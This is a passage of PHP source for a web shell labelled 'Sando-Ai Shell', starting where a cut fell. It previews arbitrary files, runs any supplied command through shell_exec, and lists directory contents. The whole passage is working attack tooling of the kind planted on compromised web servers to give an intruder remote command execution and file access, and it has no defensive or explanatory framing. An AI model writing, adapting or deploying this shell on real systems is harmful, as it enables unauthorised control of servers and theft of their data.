"; echo "Sando-Ai Shell | cwd: $dir\n\n"; // Preview file if ($file && file_exists($file)) { echo "=== PREVIEW: $file ===\n"; echo htmlspecialchars(file_get_contents($file)); echo "\n=== END PREVIEW ===\n\n"; } // Command execution if ($cmd) { echo "$ " . htmlspecialchars($cmd) . "\n"; echo htmlspecialchars(shell_exec($cmd . ' 2>&1')); echo "\n"; } // Directory listing echo "=== DIR: $dir ===\n"; foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; $type = is_dir($path) ? '[DIR]' : '[FILE]'; $size = is_file($path) ? filesize($path) : '-'; echo "$type $item ($size bytes)\n"; } echo ""; ?>